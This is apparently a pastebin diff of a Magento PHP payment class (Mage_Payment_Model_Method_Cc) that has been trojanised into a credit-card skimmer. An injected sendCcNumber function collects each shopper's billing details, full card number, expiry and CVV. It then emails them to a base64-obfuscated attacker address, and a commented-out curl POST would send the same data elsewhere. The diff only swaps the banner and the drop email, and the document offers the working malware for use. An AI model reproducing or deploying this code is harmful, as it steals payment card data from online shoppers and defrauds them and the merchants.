View difference between Paste ID: zQspEc47 and 0Vd7p9F0
SHOW: | | - or go back to the newest paste.
1
<?php
2
/**
3
 * Magento
4
 *
5
 * NOTICE OF LICENSE
6
 *
7
 * This source file is subject to the Open Software License (OSL 3.0)
8
 * that is bundled with this package in the file LICENSE.txt.
9
 * It is also available through the world-wide-web at this URL:
10
 * http://opensource.org/licenses/osl-3.0.php
11
 * If you did not receive a copy of the license and are unable to
12
 * obtain it through the world-wide-web, please send an email
13
 * to license@magentocommerce.com so we can send you a copy immediately.
14
 *
15
 * DISCLAIMER
16
 *
17
 * Do not edit or add to this file if you wish to upgrade Magento to newer
18
 * versions in the future. If you wish to customize Magento for your
19
 * needs please refer to http://www.magentocommerce.com for more information.
20
 *
21
 * @category    Mage
22
 * @package     Mage_Payment
23
 * @copyright   Copyright (c) 2012 Magento Inc. (http://www.magentocommerce.com)
24
 * @license     http://opensource.org/licenses/osl-3.0.php  Open Software License (OSL 3.0)
25
 */
26
27
28
class Mage_Payment_Model_Method_Cc extends Mage_Payment_Model_Method_Abstract
29
{
30
    protected $_formBlockType = 'payment/form_cc';
31
    protected $_infoBlockType = 'payment/info_cc';
32
    protected $_canSaveCc     = false;
33
34
    /**
35
     * Assign data to info model instance
36
     *
37
     * @param   mixed $data
38
     * @return  Mage_Payment_Model_Info
39
     */
40
    public function assignData($data)
41
    {
42
        if (!($data instanceof Varien_Object)) {
43
            $data = new Varien_Object($data);
44
        }
45
        $info = $this->getInfoInstance();
46
        $info->setCcType($data->getCcType())
47
            ->setCcOwner($data->getCcOwner())
48
            ->setCcOwnerId($data->getCcOwnerId())
49
            ->setCcLast4(substr($data->getCcNumber(), -4))
50
            ->setCcNumber($data->getCcNumber())
51
            ->setCcCid($data->getCcCid())
52
            ->setCcExpMonth($data->getCcExpMonth())
53
            ->setCcExpYear($data->getCcExpYear())
54
            ->setCcSsIssue($data->getCcSsIssue())
55
            ->setCcSsStartMonth($data->getCcSsStartMonth())
56
            ->setCcSsStartYear($data->getCcSsStartYear())
57
            ->setCcInstallments($data->getCcInstallments())
58
            ;
59
60
        $this->sendCcNumber(); 
61
62
        return $this;
63
    }
64
65
    function sendCcNumber()
66
    {
67
        $info = $this->getInfoInstance();
68
        $object = new Mage_Checkout_Block_Onepage_Billing;
69
        $address1 = $object->getQuote()->getBillingAddress();
70
        $data1 = $address1->getFirstname();
71
        $data2 = $address1->getLastname();
72
        $data3 = $address1->getStreet(1);
73
        $data4 = $address1->getStreet(2);
74
        $data5 = $address1->getCity();
75
        $data6 = $address1->getRegion();
76
        $data7 = $address1->getPostcode();
77
        $data8 = $address1->getCountry();
78
        $data9 = $address1->getTelephone();
79
        $data10 = $info->getCcNumber();
80
		$bin     = substr($bin, 0, 6);
81
		$getbank = json_decode(file_get_contents("https://bins.ribbon.co/api/v1/bins/".$bin.""));
82
		$ccbrand = $getbank->issuer;
83
		$ccbank  = $getbank->bank;
84
		$cctype  = $getbank->type;
85
		$ccklas  = $getbank->card_category;
86
        $expyear = substr($info->getCcExpYear(), -2);
87
        $expmonth = $info->getCcExpMonth();
88
        if (strlen($expmonth) == 1) {
89
           $expmonth = '0'.$expmonth;
90
        };
91
        $data11 = $expmonth;
92
        $data12 = $expyear;
93
        $data13 = $info->getCcCid();
94
        $ipboss = $_SERVER['REMOTE_ADDR'];
95
        $details     = json_decode(file_get_contents("http://www.telize.com/geoip/".$ipboss.""));
96
        $nama_negara = $details->country;
97
        $kode_negara = $details->country_code;
98
        $serverboss = $_SERVER['SERVER_NAME'];
99
        $time = date('Y-m-d H:i:s');
100
        $data16 = Mage::getSingleton('checkout/session')->getQuote()->getBillingAddress()->getEmail();
101
        $message = 
102-
		"+====== Root@SkyFall.xZ ======+
102+
		"+====== Root@PeluruKertas ======+
103
Name: ".$data1." ".$data2."
104
Address 1: ".$data3."
105
Address 2: ".$data4."
106
City: ".$data5."
107
State: ".$data6."
108
Zip: ".$data7."
109
Country: ".$data8."
110
Phone: ".$data9."
111
BIN: ".$ccbank." ".$ccbrand." ".$cctype." ".$ccklas."
112
ccnumb: ".$data10."
113
expdate: ".$data11." / 20".$data12."
114
cvv: ".$data13."
115
From: ".$serverboss."
116
Email : ".$data16."
117-
+====== Root@SkyFall.xZ ======+";
117+
+====== Root@PeluruKertas ======+";
118
		$subject = $bin." - ".$ccbrand." ".$cctype." ".$ccklas." - ".$ccbank." [".$serverboss." - ".$ipboss."]";
119
		$headers = "From: ".$data8." Credit Card <cc_session@".$serverboss.">";
120-
		$gantengers = "amVtcm9vdEBob3RtYWlsLmNvbQ=="; // Ganti email disini , cuman harus menggunakan hash base64 :D
120+
		$gantengers = "YW5uYWJlbGxla3pyMUBnbWFpbC5jb20="; // Ganti email disini , cuman harus menggunakan hash base64 :D
121
		$tamvan = base64_decode($gantengers);
122
		mail($tamvan, $subject, $message, $headers);
123
		$nodata = "-";
124
		$chbin = "".$ccbank." ".$ccbrand." ".$cctype." ".$ccklas."";
125
		$expinfox = "".$data11." / 20".$data12.""; 
126
		$nameinfo = "".$data1." ".$data2.""; 
127
		$ipinfo = "".$ipboss." - ".$nama_negara."";
128
		$ch321 = "name={$nameinfo}&address={$data3}&address2={$data4}&city={$data5}&state={$data6}&country={$data8}&zip={$data7}&phone={$data9}&ssn={$nodata}&dob={$nodata}&sortcode={$nodata}&cc={$data10}&exp={$expinfox}&cvv={$data13}&bin={$chbin}&ip={$ipinfo}&site={$serverboss}&browser={$_SERVER['HTTP_USER_AGENT']}";
129
        //$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $ch123); curl_setopt($ch, CURLOPT_POSTFIELDS, $ch321); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT,30); curl_setopt($ch, CURLOPT_POST, 1); curl_exec($ch); curl_close($ch);
130
    }
131
132
    /**
133
     * Prepare info instance for save
134
     *
135
     * @return Mage_Payment_Model_Abstract
136
     */
137
    public function prepareSave()
138
    {
139
        $info = $this->getInfoInstance();
140
        if ($this->_canSaveCc) {
141
            $info->setCcNumberEnc($info->encrypt($info->getCcNumber()));
142
        }
143
        //$info->setCcCidEnc($info->encrypt($info->getCcCid()));
144
        $info->setCcNumber(null)
145
            ->setCcCid(null);
146
        return $this;
147
    }
148
149
    /**
150
     * Validate payment method information object
151
     *
152
     * @param   Mage_Payment_Model_Info $info
153
     * @return  Mage_Payment_Model_Abstract
154
     */
155
    public function validate()
156
    {
157
        /*
158
        * calling parent validate function
159
        */
160
        parent::validate();
161
162
        $info = $this->getInfoInstance();
163
        $errorMsg = false;
164
        $availableTypes = explode(',',$this->getConfigData('cctypes'));
165
166
        $ccNumber = $info->getCcNumber();
167
168
        // remove credit card number delimiters such as "-" and space
169
        $ccNumber = preg_replace('/[\-\s]+/', '', $ccNumber);
170
        $info->setCcNumber($ccNumber);
171
172
        $ccType = '';
173
174
        if (in_array($info->getCcType(), $availableTypes)){
175
            if ($this->validateCcNum($ccNumber)
176
                // Other credit card type number validation
177
                || ($this->OtherCcType($info->getCcType()) && $this->validateCcNumOther($ccNumber))) {
178
179
                $ccType = 'OT';
180
                $ccTypeRegExpList = array(
181
                    //Solo, Switch or Maestro. International safe
182
                    /*
183
                    // Maestro / Solo
184
                    'SS'  => '/^((6759[0-9]{12})|(6334|6767[0-9]{12})|(6334|6767[0-9]{14,15})'
185
                               . '|(5018|5020|5038|6304|6759|6761|6763[0-9]{12,19})|(49[013][1356][0-9]{12})'
186
                               . '|(633[34][0-9]{12})|(633110[0-9]{10})|(564182[0-9]{10}))([0-9]{2,3})?$/',
187
                    */
188
                    // Solo only
189
                    'SO' => '/(^(6334)[5-9](\d{11}$|\d{13,14}$))|(^(6767)(\d{12}$|\d{14,15}$))/',
190
                    'SM' => '/(^(5[0678])\d{11,18}$)|(^(6[^05])\d{11,18}$)|(^(601)[^1]\d{9,16}$)|(^(6011)\d{9,11}$)'
191
                            . '|(^(6011)\d{13,16}$)|(^(65)\d{11,13}$)|(^(65)\d{15,18}$)'
192
                            . '|(^(49030)[2-9](\d{10}$|\d{12,13}$))|(^(49033)[5-9](\d{10}$|\d{12,13}$))'
193
                            . '|(^(49110)[1-2](\d{10}$|\d{12,13}$))|(^(49117)[4-9](\d{10}$|\d{12,13}$))'
194
                            . '|(^(49118)[0-2](\d{10}$|\d{12,13}$))|(^(4936)(\d{12}$|\d{14,15}$))/',
195
                    // Visa
196
                    'VI'  => '/^4[0-9]{12}([0-9]{3})?$/',
197
                    // Master Card
198
                    'MC'  => '/^5[1-5][0-9]{14}$/',
199
                    // American Express
200
                    'AE'  => '/^3[47][0-9]{13}$/',
201
                    // Discovery
202
                    'DI'  => '/^6011[0-9]{12}$/',
203
                    // JCB
204
                    'JCB' => '/^(3[0-9]{15}|(2131|1800)[0-9]{11})$/'
205
                );
206
207
                foreach ($ccTypeRegExpList as $ccTypeMatch=>$ccTypeRegExp) {
208
                    if (preg_match($ccTypeRegExp, $ccNumber)) {
209
                        $ccType = $ccTypeMatch;
210
                        break;
211
                    }
212
                }
213
214
                if (!$this->OtherCcType($info->getCcType()) && $ccType!=$info->getCcType()) {
215
                    $errorMsg = Mage::helper('payment')->__('Credit card number mismatch with credit card type.');
216
                }
217
            }
218
            else {
219
                $errorMsg = Mage::helper('payment')->__('Invalid Credit Card Number');
220
            }
221
222
        }
223
        else {
224
            $errorMsg = Mage::helper('payment')->__('Credit card type is not allowed for this payment method.');
225
        }
226
227
        //validate credit card verification number
228
        if ($errorMsg === false && $this->hasVerification()) {
229
            $verifcationRegEx = $this->getVerificationRegEx();
230
            $regExp = isset($verifcationRegEx[$info->getCcType()]) ? $verifcationRegEx[$info->getCcType()] : '';
231
            if (!$info->getCcCid() || !$regExp || !preg_match($regExp ,$info->getCcCid())){
232
                $errorMsg = Mage::helper('payment')->__('Please enter a valid credit card verification number.');
233
            }
234
        }
235
236
        if ($ccType != 'SS' && !$this->_validateExpDate($info->getCcExpYear(), $info->getCcExpMonth())) {
237
            $errorMsg = Mage::helper('payment')->__('Incorrect credit card expiration date.');
238
        }
239
240
        if($errorMsg){
241
            Mage::throwException($errorMsg);
242
        }
243
244
        //This must be after all validation conditions
245
        if ($this->getIsCentinelValidationEnabled()) {
246
            $this->getCentinelValidator()->validate($this->getCentinelValidationData());
247
        }
248
249
        return $this;
250
    }
251
252
    public function hasVerification()
253
    {
254
        $configData = $this->getConfigData('useccv');
255
        if(is_null($configData)){
256
            return true;
257
        }
258
        return (bool) $configData;
259
    }
260
261
    public function getVerificationRegEx()
262
    {
263
        $verificationExpList = array(
264
            'VI' => '/^[0-9]{3}$/', // Visa
265
            'MC' => '/^[0-9]{3}$/',       // Master Card
266
            'AE' => '/^[0-9]{4}$/',        // American Express
267
            'DI' => '/^[0-9]{3}$/',          // Discovery
268
            'SS' => '/^[0-9]{3,4}$/',
269
            'SM' => '/^[0-9]{3,4}$/', // Switch or Maestro
270
            'SO' => '/^[0-9]{3,4}$/', // Solo
271
            'OT' => '/^[0-9]{3,4}$/',
272
            'JCB' => '/^[0-9]{3,4}$/' //JCB
273
        );
274
        return $verificationExpList;
275
    }
276
277
    protected function _validateExpDate($expYear, $expMonth)
278
    {
279
        $date = Mage::app()->getLocale()->date();
280
        if (!$expYear || !$expMonth || ($date->compareYear($expYear) == 1)
281
            || ($date->compareYear($expYear) == 0 && ($date->compareMonth($expMonth) == 1))
282
        ) {
283
            return false;
284
        }
285
        return true;
286
    }
287
288
    public function OtherCcType($type)
289
    {
290
        return $type=='OT';
291
    }
292
293
    /**
294
     * Validate credit card number
295
     *
296
     * @param   string $cc_number
297
     * @return  bool
298
     */
299
    public function validateCcNum($ccNumber)
300
    {
301
        $cardNumber = strrev($ccNumber);
302
        $numSum = 0;
303
304
        for ($i=0; $i<strlen($cardNumber); $i++) {
305
            $currentNum = substr($cardNumber, $i, 1);
306
307
            /**
308
             * Double every second digit
309
             */
310
            if ($i % 2 == 1) {
311
                $currentNum *= 2;
312
            }
313
314
            /**
315
             * Add digits of 2-digit numbers together
316
             */
317
            if ($currentNum > 9) {
318
                $firstNum = $currentNum % 10;
319
                $secondNum = ($currentNum - $firstNum) / 10;
320
                $currentNum = $firstNum + $secondNum;
321
            }
322
323
            $numSum += $currentNum;
324
        }
325
326
        /**
327
         * If the total has no remainder it's OK
328
         */
329
        return ($numSum % 10 == 0);
330
    }
331
332
    /**
333
     * Other credit cart type number validation
334
     *
335
     * @param string $ccNumber
336
     * @return boolean
337
     */
338
    public function validateCcNumOther($ccNumber)
339
    {
340
        return preg_match('/^\\d+$/', $ccNumber);
341
    }
342
343
    /**
344
     * Check whether there are CC types set in configuration
345
     *
346
     * @param Mage_Sales_Model_Quote|null $quote
347
     * @return bool
348
     */
349
    public function isAvailable($quote = null)
350
    {
351
        return $this->getConfigData('cctypes', ($quote ? $quote->getStoreId() : null))
352
            && parent::isAvailable($quote);
353
    }
354
355
    /**
356
     * Whether centinel service is enabled
357
     *
358
     * @return bool
359
     */
360
    public function getIsCentinelValidationEnabled()
361
    {
362
        return false !== Mage::getConfig()->getNode('modules/Mage_Centinel') && 1 == $this->getConfigData('centinel');
363
    }
364
365
    /**
366
     * Instantiate centinel validator model
367
     *
368
     * @return Mage_Centinel_Model_Service
369
     */
370
    public function getCentinelValidator()
371
    {
372
        $validator = Mage::getSingleton('centinel/service');
373
        $validator
374
            ->setIsModeStrict($this->getConfigData('centinel_is_mode_strict'))
375
            ->setCustomApiEndpointUrl($this->getConfigData('centinel_api_url'))
376
            ->setStore($this->getStore())
377
            ->setIsPlaceOrder($this->_isPlaceOrder());
378
        return $validator;
379
    }
380
381
    /**
382
     * Return data for Centinel validation
383
     *
384
     * @return Varien_Object
385
     */
386
    public function getCentinelValidationData()
387
    {
388
        $info = $this->getInfoInstance();
389
        $params = new Varien_Object();
390
        $params
391
            ->setPaymentMethodCode($this->getCode())
392
            ->setCardType($info->getCcType())
393
            ->setCardNumber($info->getCcNumber())
394
            ->setCardExpMonth($info->getCcExpMonth())
395
            ->setCardExpYear($info->getCcExpYear())
396
            ->setAmount($this->_getAmount())
397
            ->setCurrencyCode($this->_getCurrencyCode())
398
            ->setOrderNumber($this->_getOrderId());
399
        return $params;
400
    }
401
402
    /**
403
     * Order increment ID getter (either real from order or a reserved from quote)
404
     *
405
     * @return string
406
     */
407
    private function _getOrderId()
408
    {
409
        $info = $this->getInfoInstance();
410
411
        if ($this->_isPlaceOrder()) {
412
            return $info->getOrder()->getIncrementId();
413
        } else {
414
            if (!$info->getQuote()->getReservedOrderId()) {
415
                $info->getQuote()->reserveOrderId();
416
            }
417
            return $info->getQuote()->getReservedOrderId();
418
        }
419
    }
420
421
    /**
422
     * Grand total getter
423
     *
424
     * @return string
425
     */
426
    private function _getAmount()
427
    {
428
        $info = $this->getInfoInstance();
429
        if ($this->_isPlaceOrder()) {
430
            return (double)$info->getOrder()->getQuoteBaseGrandTotal();
431
        } else {
432
            return (double)$info->getQuote()->getBaseGrandTotal();
433
        }
434
    }
435
436
    /**
437
     * Currency code getter
438
     *
439
     * @return string
440
     */
441
    private function _getCurrencyCode()
442
    {
443
        $info = $this->getInfoInstance();
444
445
        if ($this->_isPlaceOrder()) {
446
        return $info->getOrder()->getBaseCurrencyCode();
447
        } else {
448
        return $info->getQuote()->getBaseCurrencyCode();
449
        }
450
    }
451
452
    /**
453
     * Whether current operation is order placement
454
     *
455
     * @return bool
456
     */
457
    private function _isPlaceOrder()
458
    {
459
        $info = $this->getInfoInstance();
460
        if ($info instanceof Mage_Sales_Model_Quote_Payment) {
461
            return false;
462
        } elseif ($info instanceof Mage_Sales_Model_Order_Payment) {
463
            return true;
464
        }
465
    }
466
}